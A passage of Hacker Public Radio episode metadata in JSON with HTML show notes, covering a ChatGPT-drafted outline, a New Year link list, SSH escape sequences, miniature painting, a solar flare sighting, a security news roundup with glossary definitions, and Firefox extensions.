                                                            This episode will cater to a general audience while also diving into\nmore technical details for listeners with Linux, IT, or programming\nexperience. The article will be formatted using markdown as\nrequired.

                                                            \n
                                                            \n

                                                            Suggestions:

                                                            \n
                                                              \n
                                                            • Consider including interviews with experts in the field of AI or\nindividuals who have used ChatGPT in their work.
                                                            • \n
                                                            • Provide real-world examples of how ChatGPT has been used in various\nindustries and fields.
                                                            • \n
                                                            • Discuss the potential future applications of ChatGPT and where the\ntechnology may be headed.
                                                            • \n
                                                            • Address any common misconceptions or concerns about the use of AI\nlanguage models like ChatGPT.
                                                            • \n
                                                            \n

                                                            Questions:

                                                            \n
                                                              \n
                                                            • Is there a specific length you would like the podcast episode to\nbe?
                                                            • \n
                                                            • Are there any specific individuals or companies you would like us to\nfeature in the episode?
                                                            • \n
                                                            • Is there any particular tone or style you would like us to use for\nthe podcast episode?
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • I stopped at this point and decided not to take on board any\nfurther suggestions or refinements. As I mentioned at the beginning this\nwhole process probably took no longer than 10mins.

                                                            • \n
                                                            • I will provide the show generated by ChatGPT in my next\nepisode.

                                                            • \n
                                                            \n

                                                            Links:

                                                            \n\n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ChatGPT,AI,\"Artificial Inelegance\"","version":0,"downloads":0,"valid":1}, {"id":3854,"date":"2023-05-11","title":"2022-2023 New Years Show Episode 7","duration":7194,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #7

                                                            \n
                                                              \n
                                                            • huffpost:\nVintage Slang Terms For Being Drunk Are Hilarious A Century Later.
                                                            • \n
                                                            • theshrimpfarm:\nRed Cherry Shrimp are one of the simplest animals to breed in the\naquarium.
                                                            • \n
                                                            • wikipedia:\nThis is a family tree of the Habsburg family.\n
                                                                \n
                                                              • youtube:\nTHE HABSBURG: Their Inbred Family Tree was a Circle!- Explained with\nReal Life Faces.
                                                              • \n
                                                            • \n
                                                            • ancestry: Ancestry helps you\nunderstand your genealogy.
                                                            • \n
                                                            • wikipedia: The\nAK-47, officially known as the Avtomat Kalashnikova (Russian: Автомат\nКалашникова, lit.\n
                                                                \n
                                                              • wikipedia:\nMikhail Timofeyevich Kalashnikov, IPA: 10 November 1919 – 23 December\n2013) was a Soviet and Russian lieutenant general, inventor, military\nengineer, writer, and small arms designer.
                                                              • \n
                                                            • \n
                                                            • youtube:\nReview new SV-18 12.7mm .50 caliber Kalashnikov sniper rifle Army-2019\ndefense exhibition Russia.
                                                            • \n
                                                            • wikipedia: The\nGulag was the government agency in charge of the Soviet network of\nforced labour camps which were set up by order of Vladimir Lenin,\nreaching its peak during Joseph Stalin's rule from the 1930s to the\nearly 1950s.
                                                            • \n
                                                            • techandcoffee: A virtual\nwater cooler for the world of tech.
                                                            • \n
                                                            • wikipedia: A\nhippie, also spelled hippy, especially in British English, is someone\nassociated with the counterculture of the 1960s, originally a youth\nmovement that began in the United States during the mid-1960s and spread\nto different countries around the world.
                                                            • \n
                                                            • wikipedia: In\nmodern English, cult is a term, by some considered pejorative, for a\nsocial group that is defined by its unusual religious, spiritual, or\nphilosophical beliefs and rituals, or its common interest in a\nparticular personality, object, or goal.
                                                            • \n
                                                            • wikipedia: A deity\nor god is a supernatural being who is considered divine or sacred.
                                                            • \n
                                                            • youtube:\nMarty Moose Theme Song.
                                                            • \n
                                                            • wikipedia:\nDoogie Howser, M.D. is an American medical sitcom that ran for four\nseasons on ABC from September 19, 1989, to March 24, 1993, totaling 97\nepisodes.
                                                            • \n
                                                            • wikipedia:\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.
                                                            • \n
                                                            • wikipedia:\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.
                                                            • \n
                                                            • wikipedia: Mr.\nRobot is an American drama thriller television series created by Sam\nEsmail for USA Network.
                                                            • \n
                                                            • kali: Kali Linux is an\nopen-source, Debian-based Linux distribution geared towards various\ninformation security tasks, such as Penetration Testing, Security\nResearch, Computer Forensics and Reverse Engineering.
                                                            • \n
                                                            • crunchbang: CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.
                                                            • \n
                                                            • bunsenlabs: BunsenLabs\nLinux Beryllium is a distribution offering a light-weight and easily\ncustomizable Openbox desktop.
                                                            • \n
                                                            • HPR: So\nyou want to do a podcast?
                                                            • \n
                                                            • pcbway: Professional PCB\nprototype with guaranteed quality for PCB prototype, We can produce\nhigh-quality PCBs with competitive price both for prototypes and low\nvolumes.
                                                            • \n
                                                            • mouser: Mouser Electronics\nstocks the world’s widest selection of semiconductors and electronic\ncomponents.
                                                            • \n
                                                            • wikipedia: An\nanalog computer or analogue computer is a type of computer that uses the\ncontinuous variation aspect of physical phenomena such as electrical,\nmechanical, or hydraulic quantities to model the problem being\nsolved.
                                                            • \n
                                                            • olfconference: OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.
                                                            • \n
                                                            • joinmastodon: Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.
                                                            • \n
                                                            • wikipedia:\nWhose Line Is It Anyway? is a short-form improvisational comedy show\noriginating as a British radio programme, before moving to British\ntelevision in 1988.
                                                            • \n
                                                            • wikipedia:\nA Doctor of Philosophy (PhD, Ph.D., or DPhil; Latin: philosophiae doctor\nor doctor philosophiae) is the most common degree at the highest\nacademic level awarded following a course of study.
                                                            • \n
                                                            • wikipedia:\nDeadpan, dry humour, or dry-wit humour is the deliberate display of\nemotional neutrality or no emotion, commonly as a form of comedic\ndelivery to contrast with the ridiculousness or absurdity of the subject\nmatter.
                                                            • \n
                                                            • wikipedia:\nAlzheimer's disease (AD) is a neurodegenerative disease that usually\nstarts slowly and progressively worsens. It is the cause of 60–70% of\ncases of dementia.
                                                            • \n
                                                            • wikipedia:\nSarcasm is the caustic use of words, often in a humorous way, to mock\nsomeone or something.
                                                            • \n
                                                            • distrohoppersdigest:\nWe are three Blokes who love Linux and trying out new stuff.
                                                            • \n
                                                            • vim: Vim - the ubiquitous text\neditor.
                                                            • \n
                                                            • wikipedia: vi\n(pronounced as distinct letters, /ˌviːˈaɪ/)[1] is a screen-oriented text\neditor originally created for the Unix operating system.
                                                            • \n
                                                            • nano: Text Editor\nHomepage.
                                                            • \n
                                                            • gnu:\nemacs is an extensible, customizable, free/libre text\neditor — and more.
                                                            • \n
                                                            • kate: Kate is packed with\nfeatures that will make it easier for you to view and edit all your text\nfiles.
                                                            • \n
                                                            • gnome:\nWelcome to the gedit help guide.
                                                            • \n
                                                            • microsoft:\nWindows Notepad.
                                                            • \n
                                                            • microsoft:\nMicrosoft OneNote. Your digital notebook.
                                                            • \n
                                                            • microsoft:\nUse Snipping Tool to capture screenshots.
                                                            • \n
                                                            • gimp: GIMP is a free and\nopen-source raster graphics editor used for image manipulation and image\nediting, free-form drawing, transcoding between different image file\nformats, and more specialized tasks.
                                                            • \n
                                                            • krita: Krita is a professional FREE\nand open source painting program.
                                                            • \n
                                                            • urbandictionary:\nbig spoon.
                                                            • \n
                                                            • birddogwhiskey: Bird Dog\nWhiskey.
                                                            • \n
                                                            • wikipedia:\nSambuca is an Italian anise-flavoured, usually colourless, liqueur.
                                                            • \n
                                                            • wikipedia:\nAmaretto is a sweet Italian liqueur that originated in Saronno.
                                                            • \n
                                                            • newyorker:\nCooties: A Medical Guide.
                                                            • \n
                                                            • wikipedia:\nPokémon (an abbreviation for Pocket Monsters in Japan) is a Japanese\nmedia franchise managed by The Pokémon Company, founded by Nintendo,\nGame Freak, and Creatures.
                                                            • \n
                                                            • faa:\nPart 107 Airspace Authorizations.
                                                            • \n
                                                            • scottsigler:\nGalactic Football League (series).
                                                            • \n
                                                            • audible: Try Audible free for\n30 days! Start listening to best-selling audiobooks, exclusive\nOriginals, and free podcasts with the Audible app.
                                                            • \n
                                                            • johnconroe:\nZone War.
                                                            • \n
                                                            • wikipedia:\nNathan Lowell is a science fiction writer mostly known for his The\nGolden Age of the Solar Clipper series.
                                                            • \n
                                                            • michaelsullivan:\nWelcome to the Worlds of Michael J. Sullivan.
                                                            • \n
                                                            • koreaherald:\ncrab migration season in korea.
                                                            • \n
                                                            • duckduckgo:\nTarantula migration.
                                                            • \n
                                                            • wikipedia:\nCandiru (fish).
                                                            • \n
                                                            • wikipedia:\nBallooning, sometimes called kiting, is a process by which spiders, and\nsome other small invertebrates, move through the air by releasing one or\nmore gossamer threads to catch the wind, causing them to become airborne\nat the mercy of air currents and electric fields.
                                                            • \n
                                                            • dictionary:\nSportsball is a mildly critical or humorous term used by people who\nadmit they don’t know or care about sports.
                                                            • \n
                                                            • wikipedia:\nThelyphonida is an arachnid order comprising invertebrates commonly\nknown as whip scorpions or vinegaroons (also spelled vinegarroons and\nvinegarones).
                                                            • \n
                                                            • wikipedia:\nSolifugae is an order of animals in the class Arachnida known variously\nas camel spiders, wind scorpions, sun spiders, or solifuges.
                                                            • \n
                                                            • wikipedia:\nBanana spider (many types of banana spider).
                                                            • \n
                                                            • tullamoredew:\nTullamore Dew, rendered in most branding as Tullamore D.E.W., is a brand\nof Irish whiskey produced by William Grant & Sons.
                                                            • \n
                                                            • wikipedia:\nThe Yellowstone Caldera, sometimes referred to as the Yellowstone\nSupervolcano, is a volcanic caldera and supervolcano in Yellowstone\nNational Park in the Western United States.
                                                            • \n
                                                            • wikipedia:\nA superstition is any belief or practice considered by non-practitioners\nto be irrational or supernatural, attributed to fate or magic, perceived\nsupernatural influence, or fear of that which is unknown.
                                                            • \n
                                                            • murdermittens: Look at\nall dem cattos!
                                                            • \n
                                                            • wikipedia: A\nferal cat or a stray cat is an unowned domestic cat (Felis catus) that\nlives outdoors and avoids human contact: it does not allow itself to be\nhandled or touched, and usually remains hidden from humans.
                                                            • \n
                                                            • wikipedia:\nThe following list of cat breeds includes only domestic cat breeds and\ndomestic and wild hybrids.
                                                            • \n
                                                            • skullcandy: Discover life\nat full volume with headphones, earbuds, speakers & more.
                                                            • \n
                                                            • whataburger: The\nWhataburger.
                                                            • \n
                                                            • wikipedia: Zardoz\nis a 1974 science fantasy film written, produced, and directed by John\nBoorman and starring Sean Connery and Charlotte Rampling.
                                                            • \n
                                                            • 1more:\n1MORE Triple Driver In-Ear Headphones.
                                                            • \n
                                                            • lg:\nLG TONE PRO Wireless Stereo Headset.
                                                            • \n
                                                            • duckduckgo:\nskullcandy 2xl headphones.
                                                            • \n
                                                            • components101:\n3.5mm Audio Jack (Male).
                                                            • \n
                                                            • The Linux link tech show The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.
                                                            • \n
                                                            • hak5: Hak5 advances InfoSec through\naward winning podcasts, leading pentest gear and an inclusive community\n— where all hackers belong.
                                                            • \n
                                                            • sweetwater:\nShure AONIC 215 Sound Isolating Earphones.
                                                            • \n
                                                            • creality:\nCR-10S Pro V2 3D Printer.
                                                            • \n
                                                            • duckduckgo:\nmonoprice maker select v2 search.
                                                            • \n
                                                            • elegoo:\nELEGOO Saturn 4K Mono LCD MSLA Resin 3D Printer.
                                                            • \n
                                                            • anycubic:\nAnycubic Photon.
                                                            • \n
                                                            • jitsi: Jitsi Free &\nOpen Source Video Conferencing Projects.
                                                            • \n
                                                            • atari: The\nnew Atari VCS™ Wireless Classic Joystick includes features like paddle\ncontrol, rumble, LED light effects, and a second fire button to give\nretro gaming new life.
                                                            • \n
                                                            • ebay:\nOEM Original Atari 7800 Pro Line Joystick Controller.
                                                            • \n
                                                            • ebay:\nLG HBS-1100.
                                                            • \n
                                                            • sony:\nWF-XB700 Wireless Headphones with EXTRA BASS.
                                                            • \n
                                                            • skullcandy:\nskullcandy hesh 3.
                                                            • \n
                                                            • skullcandy:\nskullcandy crusher.
                                                            • \n
                                                            • samsung:\nLevel U Wireless Headphones.
                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3855,"date":"2023-05-12","title":"SSH (or OpenSSH) Escape Sequences","duration":592,"summary":"Claudio talks about OpenSSH escape sequence features.","notes":"
                                                              \n
                                                            • BSD Now Episode 504: https://www.bsdnow.tv/504
                                                            • \n
                                                            • Closing a Stale SSH Connection: https://davidisaksson.dev/posts/closing-stale-ssh-connections/
                                                            • \n
                                                            • Using the SSH \"Konami Code\" (OpenSSH Control Sequences): https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/
                                                            • \n
                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"openssh,ssh,bsd,linux,openbsd,netbsd,freebsd","version":0,"downloads":0,"valid":1}, {"id":3856,"date":"2023-05-15","title":"Painting toy soldiers","duration":2174,"summary":"I started painting miniatures for wargames","notes":"

                                                            Here are the games I started painting first:

                                                            \n
                                                              \n
                                                            • \nMysterium: I don't actually like this game, but it nevertheless provided some simple plastic crystal balls that became my first paint experience.\n
                                                            • \n
                                                            • \nPandemic: Reign of Cthulhu: A great game that ships with 6 hero figures and 3 shogoth figures. Very fun to paint, and I mostly used mostly cheap acrylic paint from the local art store.\n
                                                            • \n
                                                            • \nDungeons & Dragons: Wrath of Ashardalon Board Game: D&D combat game with 40 miniatures of varying sizes and complexity. Really good source of cheap miniatures so you can get lots of painting practise (and you can use the miniatures in your roleplaying games and the board game).\n
                                                            • \n
                                                            \n\n

                                                            I have no prior experience with paint of any kind, but here are some of the resources I mentioned in the show.

                                                            \n\n
                                                              \n
                                                            • \nSince recording, I have invested in spray-on primer over the paint-on primer I mention in the episode.\n
                                                            • \n
                                                            • \nI've been buying mostly Citadel contrast paints because they're readily available in New Zealand from the Warhammer (Games Workshop, in the UK) store.\n
                                                            • \n
                                                            • \nSpeedpaint by The Army Painter are similar but maybe cheaper depending on your region.
                                                            • \n
                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"game,rpg,wargame,board game,miniature,painting","version":0,"downloads":0,"valid":1}, {"id":3857,"date":"2023-05-16","title":"Yesterday I saw a solar flare","duration":668,"summary":"An account of the first time I saw a solar flare with my own eyes.","notes":"

                                                            A solar flare is a huge release of energy at and near the surface of the Sun in the form of electromagnetic radiation and fast particles. On 19 January 2023 at around 11:00 UTC I was lucky enough to see a solar flare with my own eyes using a Coronado PST Solar Telescope that belongs to the Astronomical Society of Glasgow.

                                                            \n\n

                                                            This audio was recorded the day after I had seen it so the details remained fresh in my mind.

                                                            \n\n

                                                            A view of how the Sun appears through the Coronado PST Hα telescope taken with the main camera of Samsung Galaxy S9+ phone at the eyepiece, after much trial and error! This was taken on 20 January 2023 at 13:08 UTC the day after the flare. The enormous sun spot is still visible.

                                                            \n

                                                            \"Sunspot\"

                                                            \n\n\n

                                                            The X-ray flux from the Sun measured by the GOES satellite(s).

                                                            \n

                                                            \"X-ray

                                                            \n\n\n

                                                            A short movie of images covering the period from 10:01 UTC to 11:21 UTC observed by the SDO satellite's AIA instrument.

                                                            \n\n\n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"solar,astronomy,telescopes,planes","version":0,"downloads":0,"valid":1}, {"id":3858,"date":"2023-05-17","title":"The Oh No! News.","duration":873,"summary":"Sgoti talks about Toyota's data leak and more, on the Oh No! News.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • Threat analysis; your attack surface.

                                                            • \n
                                                            • Article: For-Profit\nCompanies Charging Sextortion Victims for Assistance and Using Deceptive\nTactics to Elicit Payments.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: FBI Internet Crime Complaint Center. (2023,\nApr 7).
                                                                \n
                                                              • \n
                                                              • The companies use deceptive tactics—including threats, manipulation,\nand providing false information—to coerce sextortion victims into paying\nfor their services. Some of the services for which the companies charge\nfees, such as sending the perpetrators cease and desist orders, make\nvictims feel better but are not legally enforceable. The companies may\nalso attempt to discourage victims from reporting the sextortion to law\nenforcement. Limited reporting indicates the companies are directly or\nindirectly involved in the sextortion activity.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Former Ubiquiti dev who\nextorted the firm gets six years in prison.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: Bill Toulas.\n(2023, May 11).
                                                                \n
                                                              • \n
                                                              • Nickolas Sharp, a former senior developer of Ubiquiti, was sentenced\nto six years in prison for stealing company data, attempting to extort\nhis employer, and aiding the publication of misleading news articles\nthat severely impacted the firm's market capitalization.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Toyota: Car location\ndata of 2 million customers exposed for ten years.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: Bill Toulas.\n(2023, May 12).
                                                                \n
                                                              • \n
                                                              • Toyota Motor Corporation disclosed a data breach on its cloud\nenvironment that exposed the car-location information of 2,150,000\ncustomers for ten years, between November 6, 2013, and April 17,\n2023.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Failure\nto comply with Bus Open Data regulations leads to financial penalty for\noperator.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: Traffic Commissioners for Great Britain.\n(2023, May 4).
                                                                \n
                                                              • \n
                                                              • The Traffic Commissioner for the West Midlands, Miles Dorrington,\nimposed a financial penalty under section 155 of the Transport Act 2000\nof £1500, based on a £100 penalty for each of the vehicles authorised on\nthe operator’s licence.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Criminals\nPose as Chinese Authorities to Target US-based Chinese\nCommunity.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: FBI Internet Crime Complaint Center. (2023,\nApr 10).
                                                                \n
                                                              • \n
                                                              • The FBI warns of criminal actors posing as Chinese law enforcement\nofficials or prosecutors in financial fraud schemes targeting the\nUS-based Chinese community. Criminals tell victims they are suspects in\nfinancial crimes and threaten them with arrest or violence if they do\nnot pay the criminals. Criminals exploit widely publicized efforts by\nthe People’s Republic of China government to harass and facilitate\nrepatriation of individuals living in the United States to build\nplausibility for their fraud. Criminals typically call victims,\nsometimes using spoofed numbers to appear as if the call is from the\nChinese Ministry of Public Security, one of its localized Public\nSecurity Bureaus, or a US-based Chinese Consulate. Criminals may also\ncommunicate through online applications.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • User space.

                                                            • \n
                                                            • Article: Twitter rolls out encrypted\nDMs, but only for paying accounts.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: Bill Toulas\n(2023, May 11).
                                                                \n
                                                              • \n
                                                              • Twitter has launched its 'Encrypted Direct Messages' feature\nallowing paid Twitter Blue subscribers to send end-to-end encrypted\nmessages to other users on the platform.
                                                                \n
                                                              • \n
                                                              • The private decryption key is only stored on the sender's device and\nis not shared with anyone else. However, the public encryption key is\nshared with others who want to send you encrypted data.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Discord discloses\ndata breach after support agent got hacked.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: Sergiu\nGatlan. (2023, May 12).
                                                                \n
                                                              • \n
                                                              • Discord is notifying users of a data breach that occurred after the\naccount of a third-party support agent was compromised.
                                                                \n
                                                              • \n
                                                              • The security breach exposed the agent's support ticket queue, which\ncontained user email addresses, messages exchanged with Discord support,\nand any attachments sent as part of the tickets.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                                \n
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                                \n
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                                \n
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                  \n
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                                \n
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                                \n
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                                \n
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                                \n
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                                \n
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                                \n
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                                \n
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Ubiquiti dev, Toyota, Sextortion, Twitter, Discord","version":0,"downloads":0,"valid":1}, {"id":3859,"date":"2023-05-18","title":"My Live in Devices","duration":1305,"summary":"Just a run down on my devices","notes":"

                                                            A talk about things that attracted me to purchase them.

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tablet,headphones,PCs,Laptops,Linux,Ubuntu,Lubuntu","version":0,"downloads":0,"valid":1}, {"id":3860,"date":"2023-05-19","title":"Civilization II","duration":923,"summary":"The game I spent the most time on: Civilization II","notes":"

                                                            This game is not quite as old, and it did make some changes. But the\nsame \"One-more-turn\" addictiveness is still there. I can't tell you many\ntimes I started a game, and the next thing I knew the Sun was coming up\noutside my window. I'm too old to do that any more, but if I start\nanother game of Civ II I will be right back in it.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization II","version":0,"downloads":0,"valid":1}, {"id":3861,"date":"2023-05-22","title":"How To find Things on your home Network","duration":707,"summary":"How to find the lost Raspberry PI Zero on your home network","notes":"

                                                            Hey guys I lost my Raspberry Pi Zero W - its place in the house. I am\nnot sure if it's on solar power running or not. But in in any case it's\nnot out and about at the normal locations in my home for such items.

                                                            \n

                                                            So I use an App called Network Analyzer on my Huawei phone to find\nthe IPs in use in the home.

                                                            \n

                                                            Then use putty go and see how the PI is doing.

                                                            \n

                                                            Enjoy the Show

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry PI Zero W, android phone, Network Analyzer, putty, kitty","version":0,"downloads":0,"valid":1}, {"id":3862,"date":"2023-05-23","title":"Firefox Extensions","duration":618,"summary":"Archer72 Goes over extensions used on the Desktop and yes, Mobile too.","notes":"

                                                            Firefox plugins

                                                            \n

                                                            uBlock Origin

                                                            \n

                                                            uBlock Origin ad blocker

                                                            \n

                                                            Finally, an efficient blocker. Easy on CPU and memory.

                                                            \n

                                                            I don't care about cookies

                                                            \n

                                                            I don't care about\ncookies

                                                            \n

                                                            Get rid of cookie warnings from almost all websites!

                                                            \n

                                                            Bitwarden - Free Password Manager

                                                            \n

                                                            Bitwarden

                                                            \n

                                                            A secure and free password manager for all of your devices.

                                                            \n

                                                            Dark Reader

                                                            \n

                                                            Convert pages to Dark Mode

                                                            \n

                                                            Dark mode for every website. Take care of your eyes, use dark theme\nfor night
                                                            \nand daily browsing. This eye-care extension enables night mode creating\ndark
                                                            \nthemes for websites on the fly. Dark Reader inverts bright colors making\nthem
                                                            \nhigh contrast and easy to read at night.

                                                            \n

                                                            You can adjust brightness, contrast, sepia filter, dark mode, font\nsettings and
                                                            \nignore-list.

                                                            \n

                                                            Dark Reader doesn't show ads and doesn't send user's data anywhere.\nIt is fully
                                                            \nopen-source

                                                            \n

                                                            Github page for Dark Reader

                                                            \n

                                                            ChatGPTBox

                                                            \n

                                                            ChatGPT Extension

                                                            \n

                                                            Integrating ChatGPT into your browser

                                                            \n

                                                            Custom Video Speed for YouTube

                                                            \n

                                                            Extension to control Youtube\nspeed

                                                            \n

                                                            Change the current & default speed of YouTube™ videos by steps of\n0.1 from 0.1
                                                            \nup to 8.0 using sliders, buttons, and/or the keyboard.

                                                            \n

                                                            SponsorBlock for YouTube - Skip Sponsorships

                                                            \n

                                                            Block sponsors for Youtube\nvideos

                                                            \n

                                                            Skip sponsorships, subscription begging and more on YouTube videos.\nReport
                                                            \nsponsor on videos you watch to save others' time. SponsorBlock lets you\nskip
                                                            \nover sponsors, intros, outros, subscription reminders, and other\nannoying parts
                                                            \nof YouTube videos. SponsorBlock is a crowdsourced browser extension that\nlets
                                                            \nanyone submit the start and end times of sponsored segments and other\nsegments
                                                            \nof YouTube videos. Once one person submits this information, everyone\nelse with
                                                            \nthis extension will skip right over the sponsored segment.

                                                            \n

                                                            You can also skip over non music sections of music videos.

                                                            \n

                                                            Supports Invidious, old YouTube and mobile YouTube.

                                                            \n

                                                            Tab Stash

                                                            \n

                                                            Extension to\nstash tabs in a timestamped sidebar

                                                            \n

                                                            A no-fuss way to save and restore batches of tabs as bookmarks.

                                                            \n

                                                            Tridactyl

                                                            \n

                                                            Extension to\nbrowse Firefox with vim keybindings

                                                            \n

                                                            Vim, but in your browser. Replace Firefox's control mechanism with\none modelled
                                                            \non Vim. This addon is very usable, but is in an early stage of\ndevelopment. We
                                                            \nintend to implement the majority of Vimperator's features. Control your\nbrowser
                                                            \nwith your keyboard only. Replace Firefox’s control mechanism with one\nmodelled
                                                            \non VIM. Most common tasks you want your browser to perform are bound to\na
                                                            \nsingle key press.

                                                            \n

                                                            Mobile Firefox Beta

                                                            \n

                                                            Firefox Beta for Android

                                                            \n

                                                            Firefox Extensions page

                                                            \n

                                                            Mobile plugins

                                                            \n

                                                            Bitwarden

                                                            \n

                                                            Dark Reader

                                                            \n

                                                            I don't care about cookies

                                                            \n

                                                            SponsorBlock

                                                            \n

                                                            uBlock Origin

                                                            \n

                                                            Adjust Playback Speed (Youtube Playback Speed)

                                                            \n

                                                            Firefox extension to\nchange playback speed

                                                            \n

                                                            \n

                                                            Video Background Play Fix

                                                            \n

                                                            Firefox\nextension to fix background playback on mobile

                                                            \n
                                                              \n
                                                            • Works on Youtube and Invidious\n
                                                                \n
                                                              • https://invidious.nerdvpn.de
                                                              • \n
                                                              • https://docs.invidious.io/instances
                                                              • \n
                                                            • \n
                                                            \n

                                                            \n

                                                            Example

                                                            \n

                                                            Adding an extension to a collection

                                                            \n

                                                            \n

                                                            Firefox\nextension to provide language translation

                                                            \n

